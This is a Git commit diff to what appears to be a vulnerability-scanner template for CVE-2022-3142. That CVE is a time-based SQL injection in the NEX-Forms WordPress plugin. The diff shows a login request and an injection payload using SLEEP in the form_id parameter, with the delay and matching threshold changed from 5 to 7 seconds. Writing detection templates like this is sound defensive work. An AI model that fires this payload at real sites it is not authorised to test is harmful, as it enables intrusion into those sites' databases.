Update CVE-2022-3142.yaml

patch-1
J4vaovo 2024-02-06 23:37:02 +08:00 committed by GitHub
parent 8fce4f6d8e
commit baa1acee95
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions

View File

@ -40,15 +40,15 @@ http:
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 30s
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)-- HTTP/1.1
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'duration>=7'
- 'status_code_2 == 200'
- 'contains(body_2, "NEX-Forms")'
- 'contains(content_type_2, "text/html")'
condition: and
# digest: 4a0a00473045022100ec8d29550d341798ac1467f8d80b0c7a09e6169593e8d7cc4576dbee2214e27f0220057ac57665c9e34ea9d98b588526a3be8fdef7a5e636f863993e15cf5f07ab55:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100ec8d29550d341798ac1467f8d80b0c7a09e6169593e8d7cc4576dbee2214e27f0220057ac57665c9e34ea9d98b588526a3be8fdef7a5e636f863993e15cf5f07ab55:922c64590222798bb761d5b6d8e72950